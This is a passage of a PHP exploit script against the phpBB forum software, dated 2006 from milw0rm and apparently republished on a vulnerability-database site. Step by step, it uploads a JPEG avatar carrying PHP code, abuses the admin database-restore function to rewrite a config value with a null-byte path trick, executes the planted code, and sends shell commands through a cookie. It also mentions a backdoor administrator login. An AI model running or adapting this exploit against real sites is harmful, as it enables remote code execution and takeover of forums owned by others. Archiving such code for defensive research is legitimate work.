1
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;allowhtml&#34;

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;allowsmilies&#34;

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;language&#34;

italian
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;style&#34;

1047
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;timezone&#34;

2
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;dateformat&#34;

D M d, Y g:i a
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;MAX_FILE_SIZE&#34;

100000
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;avatar&#34;; filename=&#34;whatever.jpeg&#34;;
Content-Type: image/pjpeg

&#39;.$avatar.&#39;
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;avatarurl&#34;


-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;avatarremoteurl&#34;


-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;mode&#34;

editprofile
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;agreed&#34;

true
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;coppa&#34;

0
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;user_id&#34;

999999
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;current_email&#34;


-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;submit&#34;

Submit
-----------------------------7d62702f250530--
&#39;;

$packet=&#34;POST &#34;.$p.&#34;profile.php HTTP/1.0\r\n&#34;;
$packet.=&#34;Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n&#34;;
$packet.=&#34;Referer: http://&#34;.$host.$path.&#34;profile.php?mode=editprofile\r\n&#34;;
$packet.=&#34;Accept-Language: it\r\n&#34;;
$packet.=&#34;Content-Type: multipart/form-data; boundary=---------------------------7d62702f250530\r\n&#34;;
$packet.=&#34;Accept-Encoding: gzip, deflate\r\n&#34;;
$packet.=&#34;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n&#34;;
$packet.=&#34;Cache-Control: no-cache\r\n&#34;;
$packet.=&#34;Cookie: &#34;.$cookie.&#34;\r\n\r\n&#34;;
$packet.=$data;
sendpacketii($packet);
sleep(1);

echo &#34;step 4 -&#62; retrieve new filename for avatar from profile page...\r\n&#34;;
$packet=&#34;GET &#34;.$p.&#34;profile.php?mode=editprofile HTTP/1.0\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Cookie: &#34;.$cookie.&#34;\r\n\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
sendpacketii($packet);
$temp=explode(&#34;images/avatars/&#34;,$html);
$temp2=explode(&#34;\&#34;&#34;,$temp[1]);
$avatar_name=$temp2[0];
echo &#34;avatar filename -&#62; &#34;.$avatar_name.&#34;\r\n&#34;;
if ($avatar_name==&#39;&#39;) {die(&#34;Unable to retrieve filename...&#34;);}

echo &#34;step 5 -&#62; replace default_lang value in phpbb_config table with our path to shell, breaking path with a null char...\r\n&#34;;
$sql=&#39;
#
# our path to avatar, using a null char to break the path
#

UPDATE phpbb_config SET config_value=CONCAT(&#34;english/../../images/avatars/&#39;.$avatar_name.&#39;&#34;,CHAR(0)) where config_name=&#34;default_lang&#34;;

&#39;;

$data=&#39;-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;backup_file&#34;; filename=&#34;suntzu.sql&#34;;
Content-Type: text/plain

&#39;.$sql.&#39;
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;perform&#34;

restore
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;restore_start&#34;

Start Restore
-----------------------------7d62702f250530--
&#39;;
$packet=&#34;POST &#34;.$p.&#34;admin/admin_db_utilities.php?sid=&#34;.$session_id.&#34; HTTP/1.0\r\n&#34;;
$packet.=&#34;Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n&#34;;
$packet.=&#34;Referer: http://&#34;.$host.$path.&#34;profile.php?mode=editprofile\r\n&#34;;
$packet.=&#34;Accept-Language: it\r\n&#34;;
$packet.=&#34;Content-Type: multipart/form-data; boundary=---------------------------7d62702f250530\r\n&#34;;
$packet.=&#34;Accept-Encoding: gzip, deflate\r\n&#34;;
$packet.=&#34;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n&#34;;
$packet.=&#34;Cache-Control: no-cache\r\n&#34;;
$packet.=&#34;Cookie: &#34;.$cookie.&#34;\r\n\r\n&#34;;
$packet.=$data;
sendpacketii($packet);
if (eregi(&#34;The Database has been successfully restored&#34;,$html))
{
echo &#34;Done...\r\n&#34;;
}
else
{
die(&#34;Unable to modify table...&#34;);
}

echo &#34;step 6 -&#62; execute code inside jpeg file\r\n&#34;;
$packet=&#34;GET &#34;.$p.&#34;faq.php HTTP/1.0\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
sendpacketii($packet);
sleep(1);

echo &#34;step 7 -&#62; Launch commands...\r\n&#34;;
$packet=&#34;GET &#34;.$p.&#34;suntzu.php HTTP/1.0\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Cookie: cmd=dir;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
sendpacketii($packet);
if (strstr($html,&#34;56789&#34;))
{
  echo &#34;Exploit succeeded...\r\n&#34;;
  $temp=explode(&#34;56789&#34;,$html);
  echo &#34;\r\n&#34;.$temp[1].&#34;\r\n&#34;;
}
else
{
  echo &#34;Exploit failed...however you will be able to login as admin\r\n&#34;;
  echo &#34;with username \&#34;suntzu\&#34; and password \&#34;suntzu\&#34;\r\n&#34;;
}


echo &#34;step 8 -&#62; restore phpbb_config with the old value to keep the board accessible\r\n&#34;;
$sql=&#39;
#
# old value for default_lang
#

UPDATE phpbb_config SET config_value=&#34;english&#34; where config_name=&#34;default_lang&#34;;

&#39;;

$data=&#39;-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;backup_file&#34;; filename=&#34;suntzu.sql&#34;;
Content-Type: text/plain

&#39;.$sql.&#39;
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;perform&#34;

restore
-----------------------------7d62702f250530
Content-Disposition: form-data; name=&#34;restore_start&#34;

Start Restore
-----------------------------7d62702f250530--
&#39;;
$packet=&#34;POST &#34;.$p.&#34;admin/admin_db_utilities.php?sid=&#34;.$session_id.&#34; HTTP/1.0\r\n&#34;;
$packet.=&#34;Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n&#34;;
$packet.=&#34;Referer: http://&#34;.$host.$path.&#34;profile.php?mode=editprofile\r\n&#34;;
$packet.=&#34;Accept-Language: it\r\n&#34;;
$packet.=&#34;Content-Type: multipart/form-data; boundary=---------------------------7d62702f250530\r\n&#34;;
$packet.=&#34;Accept-Encoding: gzip, deflate\r\n&#34;;
$packet.=&#34;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n&#34;;
$packet.=&#34;Cache-Control: no-cache\r\n&#34;;
$packet.=&#34;Cookie: &#34;.$cookie.&#34;\r\n\r\n&#34;;
$packet.=$data;
sendpacketii($packet);
if (eregi(&#34;The Database has been successfully restored&#34;,$html))
{
echo &#34;Done...\r\n&#34;;
}
else
{
die(&#34;Unable to modify table...&#34;);
}
?&#62;

# milw0rm.com [2006-05-13]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation